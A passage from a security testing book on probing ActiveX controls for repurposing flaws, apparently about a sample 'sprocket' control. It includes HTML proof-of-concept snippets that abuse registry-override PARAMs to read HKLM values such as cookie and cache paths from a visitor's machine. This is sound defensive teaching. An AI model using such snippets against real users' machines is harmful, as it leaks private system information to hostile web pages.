The control has a functionality bug, but there is a dilemma. If this member actually worked properly, it would likely have all of the issues you already encountered with the RTFEditor PARAM. Fixing the functionality bug in this case will likely result in security issues. Make sure the programmer fixing the bug is also aware of the security implications of making this work as expected.

Tip

When you don’t completely understand how a member works, follow up to make sure you do understand it all the way. Misunderstanding a member can be a big source of bugs, security and otherwise.

In this case, it turns out to be a regular functionality bug in the control—the member was not implemented properly yet. Are you done testing this PARAM? No. You have not really started.

RTFEditor PARAM

Consider the RTFEditor PARAM. Remember looking at this PARAM with the InvokeRTFEditor method? Some of the testing is already done on this PARAM; recall identifying several good bugs, mostly in the InvokeRTFEditor method. The fact that HTML could set the editor to be any .exe file was a bit disconcerting.

In addition to the tests already performed on this PARAM, try looking for buffer overflows and format string vulnerabilities.

Tip

Think about regular testing—do you ever repeat cases? Absolutely. Why? The risk of regressions with security bugs is fairly high—often because security requires extra coding steps, and if the programmer didn’t include decent comments in the code, others might come along and change the code, causing unintended side effects. Devising an automation strategy to test for many of these ActiveX control bugs is often fairly easy because the controls are intended to be manipulated programmatically.

RTFEditorOverride

Because the RTFEditorOverrideKey and RTFEditorOverrideValue properties are exposed as PARAMs and not properties, OLEView doesn’t list them. The SDK gives some information, though.

The exact location of the RTF editor might not be known for a system, so RTFEditorOverrideKey and RTFEditorOverrideValue provide ways to specify where the control should look in the HKEY_LOCAL_MACHINE registry hive (HKLM) to find the editor to use. If RTFEditorOverrideValue is blank or omitted, the default value associated with the key is used, as in the following example:

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
 <param name="RTFEditorOverrideKey"
    value="SOFTWARE\Classes\rtffile\shell\open\command">
 <param name="RTFEditorOverrideValue" value="">
</object>

If the SDK is not this specific, the terms Key and Value would provide a clue that these PARAMs use the registry. The main way to confirm registry usage aside from looking at the source code is to use RegMon or set conditional breakpoints in a debugger on registry APIs.

The preceding example with the SDK doesn’t contain any kind of confirmation about the results of giving the information to the PARAMs. Load the following example in place of the previous example, using what you have learned about the remainder of the members of the sprocket control to confirm the value is read and applied properly:

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
 <param name="RTFEditorOverrideKey"
    value="SOFTWARE\Classes\rtffile\shell\open\command">
 <param name="RTFEditorOverrideValue" value="">
</object>
<script>
 alert(Editor.RTFEditor); //show me the goods
</script>

Running the preceding HTML code (Chapter18.33.html on the book’s companion Web site) confirms the RTFEditor property is set to write.exe.

Now, what happens if you start experimenting with these values? Well, it sure looks from the sample as though script can query fairly arbitrary values in the registry by setting the PARAMs and querying the result using RTFEditor. What can the attacker do with this? Quite a bit of sensitive information about the machine is available in HKLM.

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=1 width=1>
 <param name="RTFEditorOverrideKey"
    value="SOFTWARE\Microsoft\Windows\HTML Help">
 <param name="RTFEditorOverrideValue" value="dao360.chm">
</object>
<script>
 alert("dao360.chm is located at '"+Editor.RTFEditor+"'");
</script>

If the client has dao360.chm installed (for example), the preceding code (Chapter18.34.html on the book’s companion Web site) will gather the location where the Help file is installed.

Important

Exploiting these PARAMs requires more than one control. Attackers never limit themselves to one copy of a control. Why should you?

Do you want to know where cookies are stored on someone’s machine when it visits your site and happens to have this buggy ActiveX control installed? Note that the following HTML (Chapter18.35.html on the book’s companion Web site) displays these values only on the client, but script could easily submit them to the server. Note that the text of the values of the PARAM tag value attribute below are artificially wrapped:

<object id=Editor1
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=1 width=1>
<param name="RTFEditorOverrideKey"
    value="SOFTWAREMicrosoftWindowsCurrentVersion
Internet SettingsCacheSpecial PathsCookies">
 <param name="RTFEditorOverrideValue" value="Directory">
</object>
<object id=Editor2
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=1 width=1>
 <param name="RTFEditorOverrideKey"
    value="SOFTWAREMicrosoftWindowsCurrentVersion
Internet SettingsCachePathsPath1">
 <param name="RTFEditorOverrideValue" value="CachePath">
</object>
<script>
 alert(Editor1.RTFEditor);
 alert(Editor2.RTFEditor);
</script>

Challenge

This chapter walks through many members of the sprocket control, showing how the control works and interacts with the system. Look at the next property, but this time use the tools and your expanded understanding to figure out what else might be wrong with it. There is at least one vulnerability in the RTFSource members (PARAM and property).

Remember to use the following approach:

  • Figure out how the to call the member from HTML.

  • Investigate how the member really works. What does it do? How does it do that?

  • Walk through the checklist for ideas on how to take advantage of the client or get information from the client using the member.

  • Experiment with the member and try to break the rules. What can you accomplish?

Testing Tips

Use the tips below to help you remember key points from the chapter as you examine your control for security defects:

  • Never assume anything about your ActiveX control. Use the techniques and tools presented in this chapter to help assess whether malicious HTML can repurpose your control to cause problems:

  • For safe controls, walk through each persistent property, nonpersistent property, method, and event, to see whether it can cause the following types of abuse:

    • Control should not make damaging system calls or allow arbitrary code to be run.

    • Control should not modify or destroy information on the computer or bypass security settings.

    • Control should not allow access to information about the computer/user.

    • Control should not give away any other inappropriate information.

    • Control should not be able to be used in a deceptive manner.

    • Control should not use excessive resources locally.

    • Control should not generate a fault that crashes or hangs the browser or operating system.

  • Combine more than one member and more than one control to cause problems.

  • Construct test cases that take advantage of exception handling (try-catch), member return values, nested objects, and other tricks to pull off malicious attacks.

  • ActiveX controls are easy to automate by design. Take advantage of that to automatically retest features or functionality of your control where bugs may be reintroduced.

Summary

This chapter starts with a few COM and ActiveX basics, such as creating test cases in HTML and exploring some important details about the Internet Explorer ActiveX security model. Leveraging this foundation to explain the core ActiveX repurposing security issue precedes a clear methodology for learning more about your control and doing member-level threat modeling and testing. Specific, prioritized classes of issues are presented, with examples. Next the discussion expands on the basics to give a number of real world additional specific test cases of interest used by attackers, such as nested objects and error handling, among others. The chapter finishes with an in-depth (optionally hands-on) walkthrough of testing controls, demonstrating and further detailing the concepts covered in this chapter and throughout the book as they apply to controls.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset